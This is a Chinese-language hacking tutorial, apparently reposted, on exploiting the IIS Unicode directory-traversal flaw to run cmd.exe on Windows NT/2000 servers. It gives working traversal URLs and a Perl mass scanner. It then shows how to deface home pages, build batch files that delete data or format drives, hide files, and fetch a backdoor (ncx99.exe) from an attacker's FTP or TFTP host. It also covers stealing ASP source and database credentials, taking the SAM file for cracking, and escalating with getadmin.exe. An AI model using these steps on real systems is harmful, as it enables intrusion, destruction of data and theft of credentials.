UNICODE漏洞的原理
一、UNICODE漏洞的原理 此漏洞从中文IIS4.0+SP6开始,还影响中文WIN2000+IIS5.0、中文WIN2000+IIS5.0+SP1, 台湾繁体中文也同样存在这样的漏洞。 中文版的WIN2000中,UNICODE编码存在BUG,在UNICODE编码中 %c1%1c-〉(0xc1-0xc0)*0x40+0x1c=0x5c=‘/‘ %c0%2f
一、UNICODE漏洞的原理
此漏洞从中文IIS4.0+SP6开始,还影响中文WIN2000+IIS5.0、中文WIN2000+IIS5.0+SP1,
台湾繁体中文也同样存在这样的漏洞。
中文版的WIN2000中,UNICODE编码 存在
BUG,在UNICODE 编码中
%c1%1c -〉 (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = ‘/‘
%c0%2f -〉 (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = ‘\‘
在NT4中/编码为%c1%9c
在英文版里:
WIN2000英文版%c0%af
但从国外某些站点得来的
资料显示,还有以下的编码可以实现对该漏洞的检测,具体情况本人未做详细的证实:
%c1%pc
%c0%9v
%c0%qf
%c1%8s
%e0%80%af
%f0%80%80%af
%fc%80%80%80%80%af
或许是什么日文版、韩文版之类,win2000 Terminal版有兴趣的朋友可以试试。
二、UNICODE漏洞的检测
以下均以中文版WIN2K为例,如果是其他NT版本,按上面所述的编码替换以下代码中的%c1%1c
最简单的检测方法:
比如说有一IP地址为X.X.X.X的WIN2K主机,我们可以在地址栏输入
x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
如果存在此漏洞的话,我们便可以看到以下的内容:(例子假设SCRIPTS目录里无文件)
Directory of C:\inetpub\scripts
2000-09-28 15:49 〈DIR〉 .
2000-09-28 15:49 〈DIR〉 ..
这是我们在很多经验交谈中常看到大家使用的方法,实际上我们也可以改为这样
127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/r+dir
即r=c 这个字母的取代,在本文发表之前,
网络里没有介绍过,关于r这字母可以等效于c,我们可以通过cmd/?可以得到解释。
当然,如果目标主机的管理员把该目录删除掉,我们就无法看到了,但是还有以下的目录是同样可以用来
测试的。
http://x.x.x.x/msadc/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
运行后,我们可以看到
Directory of c:\program files\common files\system\msadc
2000-08-06 19:16
.
2000-08-06 19:16
..
(以下内容略)
19 File(s) 1,233,840 bytes
2 Dir(s) 6,290,644,992 bytes free
如果漏洞和目录同时存在的话,你就可以在WEB页上看到相对应的目录里的一切内容。这仅是对单一目标主机的漏洞检测,如果想对某一IP段上的NT主机做UNICODE漏洞的检测,我们就需要使用类似以下的扫描软件。
以下的源码是外国黑客写的,当然就只扫描英文版的NT,要扫描中文版的,需要做相应的修改。
#!/usr/bin/perl
#Root Shell Hackers
#piffy
#this is a quick scanner i threw together while
supposedly doing homework in my room.
#it will go through a list of sites and check if it
gives a directory listing for the new IIS hole
#it checks for both %c0%af and %c1%9c
#perhaps a public script to do some evil stuff with this
exploit later... h0h0h0
#werd: all of rsh, 0x7f, hackweiser, rain forest puppy
for researching the hole =]
use strict;
use LWP::UserAgent;
use HTTP::Request;
use HTTP::Response;
my $def = new LWP::UserAgent;
my @host;
print "root shell hackers\n";
print "iis cmd hole scanner\n";
print "coded by piffy\n";
print "\nWhat file contains the hosts: ";
chop (my $hosts=);
open(IN, $hosts) ││ die "\nCould not open $hosts: $!";
while ()
{
$host[$a] = $_;
chomp $host[$a];
$a++;
$b++;
}
close(IN);
$a = 0;
print "ph34r, scan started";
while ($a < $b)
{
my
$url="http://$host[$a]/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
";
my $request = new HTTP::Request(‘GET‘, $url);
my $response = $def->request($request);
if ($response->is_su
clearcase/" target="_blank" >ccess) {
print $response->content;
open(OUT, ">>scaniis.log");
print OUT "\n$host[$a] : $response->content";
-close OUT;
} else {
print $response->error_as_HTML;
}
&second()
}
sub second() {
my
$url2="http://$host[$a]/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\
";
my $request = new HTTP::Request(‘GET‘, $url2);
my $response = $def->request($request);
if ($response->is_success) {
print $response->content;
open(OUT, ">>scaniis.log");
print OUT "\n$host[$a] : $response->content";
-close OUT;
} else {
print $response->error_as_HTML;
}
$a++;
}
——————————————————————————————————
以上的pl程序你可以在本机运行(当然需要安装PERL),也可以在远程的
服务器上运行。
三、UNICODE编码漏洞简单利用的命令
一般情况下我们用
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
看到的目录是空的:(例如)
Directory of C:\inetpub\scripts
2000-09-28 15:49 〈DIR〉 .
2000-09-28 15:49 〈DIR〉 ..
如果我们这样输入的话:
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\
就可以看到该主机c:盘的目录和文件了。
其他的一些简单的用法:
1、显示文件内容
如果想显示里面的其中一个badboy.txt文本文件,我们可以这样输入(htm,html,asp,bat等文件都是一样的)
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+type+c:\badboy.txt
那么该文件的内容就可以通过IE显示出来。
2、建立文件夹的命令
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+md+c:\badboy
运行后我们可以看到返回这样的结果:
CGI Error
The specified CGI application misbehaved by not
returning a complete
set of HTTP headers. The headers it did return are:
英文意思是
CGI错误
具体的CGI申请有误,不能返回完整的HTTP标题,返回的标题为:
3、删除空的文件夹命令:
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+rd+c:\badboy
返回信息同上
4、删除文件的命令:
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+del+c:\badboy.txt
返回信息同上
5、copy文件且改名的命令:
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\badboy.txt
bad.txt
返回信息:
CGI Error
The specified CGI application misbehaved by not
returning a complete
set of HTTP headers. The headers it did return are:
1 file(s) copied.
6、显示目标主机当前的环境变量
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+set
返回的信息:
CGI Error
The specified CGI application misbehaved by not
returning a complete
set of HTTP headers. The headers it did return are:
ALLUSERSPROFILE=E:\Documents and Settings\All Users
AUTH_TYPE=Negotiate
AUTH_USER=BADBOYCL-DQQZQQ\badboy
CASL_BASEDIR_ENV=E:\scan\CyberCop Scanner\casl
CommonProgramFiles=E:\Program Files\Common Files
COMPUTERNAME=BADBOYCL-DQQZQQ
ComSpec=E:\WINNT\system32\cmd.exe
CONTENT_LENGTH=0
GATEWAY_INTERFACE=CGI/1.1
HTTP_A
CCEPT=*/*
HTTP_ACCEPT_LANGUAGE=zh-cn
HTTP_CONNECTION=Keep-Alive
HTTP_HOST=127.0.0.1
HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 5.01;
Windows NT 5.0)
HTTP_AUTHORIZATION=Negotiate
TlRMTVNTUAADAAAAGAAYAIgAAAAYABgAoAAAAB4AHgBAAAAADAAMAF4AAAAeAB4AagAAAAAAAAC4AAAABYKAgEIAQQBEAE
IATwBZAEMATAAtAEQAUQBRAFoAUQBRAGIAYQBkAGIAbwB5AEIAQQBEAEIATwBZAEMATAAtAEQAUQBRAFoAUQBRAODLOAUs
BqOAQ3/+AfwqHKj8Q2vzSAGGgkD6hCEY0EoOIKZVHMr4lmc1Ju37n7SleT==
HTTP_ACCEPT_ENCODING=gzip, deflate
HTTPS=off
INSTANCE_I
7、把某个文件夹内的全部文件一次性COPY到另外的文件夹去
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+xcopy
c:\badboy c:\inetpub\wwwroot
返回的信息:
CGI Error
The specified CGI application misbehaved by not
returning a complete
set of HTTP headers. The headers it did return are:
我们查看c:\inetpub\wwwroot文件夹,结果所有c:\badboy内的都拷贝到该目录里了
8、把某个文件夹剪贴到指定的目录去
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+move
c:\badboy c:\inetpub\wwwroot
呵呵,还是可以做到的,时间的长短要看文件的多少了
9、显示某一路径下相同文件类型的文件内容
http://127.0.0.1/scripts/..%c1%1c..\winnt/system32/find.exe?/n+/v+""+c:\inetpub\wwwroot\*.ht*
完全显示出来呀
同样,还有很多命令可以执行,大家可以试试,不过有些时间会很久,有些是不能执行的。
解释+号,在这里+等于空格键,当然你也可以用空格键,用空格键运行后会转换为%20 和%c1%1c=/是同一道理的。
对于名字超过8个字母的文件夹,如果我们想看里面的内容时就有点不同了比如说我们想看目标主机Program Files文件夹里面的内容时,应该这样输入
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\progra~1
这里就不能用+或者%20来代替program与files间的空格。
至于对aa bb这样中间带有空格的文件夹怎么看,目前我还不知道,如果谁知道可以写出来。
在攻略2里我提到
至于对aa bb这样中间带有空格的文件夹怎么看,目前我还不知道,如果谁知道可以写出来。
通过对dos的8.3规则的补习,终于弄明白怎么看aa bb文件夹了方法就是以下
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir%20e:\aabb~1aa bb=aabb~1
如果同目录下还有aab b文件夹,就用这样的代码看aab b文件夹里的内容
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir%20e:\aabb~2依此类推。
四、如何简单地修改目标主机的
web页面
一般情况下,我们要修改目标主机的web文件,常用到的方法是利用echo回显、管道工具> >>。
先复习一下这些命令和管道工具的功能。
D:\>echo/?
显示信息,或将命令响应打开或关上。
ECHO [ON │ OFF]
ECHO [message]
仅键入 ECHO 而不加参数,可以显示当前的 ECHO 设置。
管道工具> >>的功能
"> >>" 是将命令产生的输出重新定向,比如写到某个文件或输出到打印机中.>>产生的内容将追加进文件中,>则将原文件内容覆盖。
再看看cmd/?里面的部分内容:
请注意,如果字符串有引号,可以接受用命令分隔符 ‘&&‘ 隔开的多个命令。并且,由于兼容原因,/X 与 /E:ON 相同,/Y 与/E:OFF 相同,并且 /R 与 /C 相同。忽略任何其它命令选项。
如果指定了 /C 或 /K,命令选项后的命令行其余部分将作为命令行处理;在这种情况下,会使用下列逻辑处理引号字符("):
1. 如果符合下列所有条件,那么在命令行上的引号字符将被
保留:
- 不带 /S 命令选项
- 整整两个引号字符
- 在两个引号字符之间没有特殊字符,特殊字符为下列中的
一个: <>()@^│
- 在两个引号字符之间有至少一个空白字符
- 在两个引号字符之间有至少一个可执行文件的名称。
2. 否则,老办法是,看第一个字符是否是一个引号字符,如果是,舍去开头的字符并删除命令行上 的最后一个引号字符,保留最后一个引号字符之后的文字。
从以上可以得到什么启示?
我们知道IIS加载程序检测到有CMD.EXE或者COMMAND.COM串就要检测特殊字符“&│(,;%<>”,如果发现有这些字符就会返回500错误,所以不能直接使用CMD.EEX加管道符等。
通过
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+echo+badboy+>;
c:\badboy.txt
我们可以看到提示
HTTP 500 - 内部服务器错误
Internet Explorer
经过反复
测试,并从上面cmd内容的提示,我们可以会发现"引号字符是可以利用的,中联绿盟的yuange(袁哥)发布过关于这字符的公告,我想也许也是从上面的cmd/?信息中得到提示的,(纯属个人猜想,如果不是,请yuange不要见怪)。
我们要得到echo与>的结合使用,可以这样操作。
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+badboy+>
c:\badboy.txt
注意,与开始的命令的区别只在于cmd后面多了个"字符。
运行后我们可以看到返回这样的结果:
CGI Error
The specified CGI application misbehaved by not
returning a complete
set of HTTP headers. The headers it did return are:
英文意思是
CGI错误
具体的CGI申请有误,不能返回完整的HTTP标题,返回的标题为:
实际上,我们已经把badboy写入到c:\badboy.txt文件里了。
利用这样的方法我们可以建立.bat .txt .asp .htm .html 等文件,这对于一个存在这漏洞的网站可以说是致命打击的开始,尤其是能写.bat文件如果我们在autoexe.bat里面加入format del等命令时,你想结果会如何??
回到修改网站页面的问题来。
比如说想修改c:\inetpub\wwwroot\default.asp
我们就可以这样在地址栏输入:
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+your+site+has+unicode+
bug+>
c:\inetpub\wwwroot\default.asp
那么再看他的首页时,已经被修改为
your site has unicode
bug 事情就那么简单,任何一个普通人都可以通过地址栏对存在该漏洞的目标主机做最简单的HACK行为。
当然,如果为了方便输入,我们可以把cmd.exe改名为其他名字的文件,比如说c.exe
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\c.exe
以后使用就可以直接
http://x.x.x.x/scripts/c.exe?/c+echo+badboy+>;
c:\badboy.txt
、bat命令法
很多文章都没有介绍如何在unicode编码漏洞中如何利用BAT命令,实际上运用批处理,可以执行很多在地址栏里无法执行的命令,并且可以简化你输入的过程。
例子:
baddel.bat
del /f /s /q c:\files\*.*
rd c:\files
我们可以这样建立和执行
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+del%20/f%20/s%20/q%20c:\files\*.*>baddel.bat
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+rd%20c:\files>>baddel.bat
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+baddel
结果C盘里的files目录和文件都被删除了。
如果我们把批处理改为format d:/q之类的话,那么D盘就被格式化了。
同样,你可以运用批处理进行更多的攻击,那你就需要好好复习DOS的命令及应用了。
注意:上面第三行的代码就是执行baddel.bat,这里.bat不要输入
2、attrib的运用
用这命令查文件属性和修改文件的属性
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/attrib.exe?c:\inetpub\wwwroot\index.htm
运行后,我们可以看到index.htm的文件属性,往往有时我们无法修改这文件,是因为这文件设为只读。
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/attrib.exe?%20%2br%20%2bh%20d:\inetpub\wwwroot\index.htm
运行后,我们可以把index.htm文件设为只读、隐藏。如果我们把某个后门程序隐藏起来,并且管理没有设置所有文件可见,那么是不是很方便上传的东西不被管理员发现呢?
注意这里%2b等于+
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/attrib.exe?%20-r%20-h%20d:\inetpub\wwwroot\index.htm
运行后解除文件的属性。
3、ftp的运用
有时我们需要从一个你有权限的FTP主机把你想用到的一些文件上传到目标主机去,象ncx99.exe之类的,当然你要把这些文件放在你的空间先。
……/cmd.exe?/c+echo+open+*.*.*.*>badboy.txt
……/cmd.exe?/c+echo+user>>badboy.txt
……/cmd.exe?/c+echo+pass>>badboy.txt
……/cmd.exe?/c+echo+get+ncx99.exe>>badboy.txt
……/cmd.exe?/c+echo+bye>>badboy.txt
然后运行
……/cmd".exe?/c+ftp+-s:badboy.txt
……/cmd.exe?/c+del badboy.txt
完成以上内容后ncx99.exe已经在inetpub/scripts目录里了
剩下的就看你怎么用软件了
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+c:\inetpub\scripts\ncx99.exe
还等什么快telnet x.x.x.x 99
你还有什么垃圾软件,尽管放上去吧。
六、unicode编码漏洞提高篇(续)
4、TFTP运用
关于TFTP的运用我们在全攻略-5里面的工具介绍中介绍过,那工具可以在WIN9X或者NT、WIN2K下执行,前提条件是需要你在本机上安装PERL服务器程序,这对于一般的爱好者来说稍微有点困难。实际上如果你是使用NT系统或者你拥有一台NT肉机的话,就可以使用WINNT\SYSTEM32下的TFTP.EXE这个软件了。
tftp/?
Transfers files to and from a remote computer running
the TFTP service.
TFTP [-i] host [GET │ PUT] source [destination]
-i Specifies binary image transfer mode (also called
octet). In binary image mode the file is moved
literally, byte by byte. Use this mode when
transferring binary files.
host Specifies the local or remote host.
GET Transfers the file destination on the remote host to
the file source on the local host.
PUT Transfers the file source on the local host to
the file destination on the remote host.
source Specifies the file to transfer.
destination Specifies where to transfer the file.
帮助是英文的,自己翻译吧。
在UNICODE上的命令代码:
http://x.x.x.x/scripts/tftp.exe?-i+127.0.0.1+get+ncx99.exe
你放什么软件都可以,我不喜欢木马,所以我也不再介绍你该传什么木马上去,然后怎么启动,那样走题太远了。
5、ASP相关问题
一般情况下,NT机器绝大多数都会使用到ASP写的WEB程序和
SQL数据库。
大家都知道ASP代码的泄露意味着你辛辛苦苦写的ASP源码被人无偿获得,同时你的站点也很容易遭到黑手。ASP代码泄露的漏洞很多种,同样,在UNICODE编码漏洞下,你的ASP源码同样可以极易被人获取。
假设你的index.asp是一个很好的程序,那么,入侵者可以通过type命令查看你的文件。
../cmd.exe?/type c:\inetpub\wwwroot\index.asp
或者通过copy命令
../cmd.exe?/copy c:\inetpub\wwwroot\index.asp
c:\inetpub\wwwroot\index.txt
然后直接
下载你的源码,通过分析,找到你的
数据库文件。
如果你是使用
SQL服务来做数据库的,同样,入侵者可以通过查看你的ASP和global.asa源码,通过分析,找到你的用户名和密码,然后通过
SQL远程管理客户端进行攻击。那么,你的商业秘密和网站的资料,还有什么
安全可言呢?
入侵者还可以在你的主机里上传一个ASP后门程序(ASE,应该听说过和用过吧)并隐藏起来,即使你以后补掉了UNICODE漏洞,入侵仍可在他的ASP后门程序在你未发现之前,查看、修改、删除你主机上的WEB文件。
6、获得超级用户权限
可以通过下在你的SAM文件,利用一些黑客软件(如l0phtcrack)暴力破解。
也可以利用前面介绍的上传方法把gasys.dll、cmd.exe和getadmin.exe到目标主机,然后通过一些软件或者方法获得目标主机的计算机名,再利用getadmin.exe把iuser_计算机 升级为Administrator/scripts/getadmin.exe?IUSR_计算机名那还有什么事不可以做呢?已经等于完全控制这台主机了。
原文转自:http://www.ltesting.net
|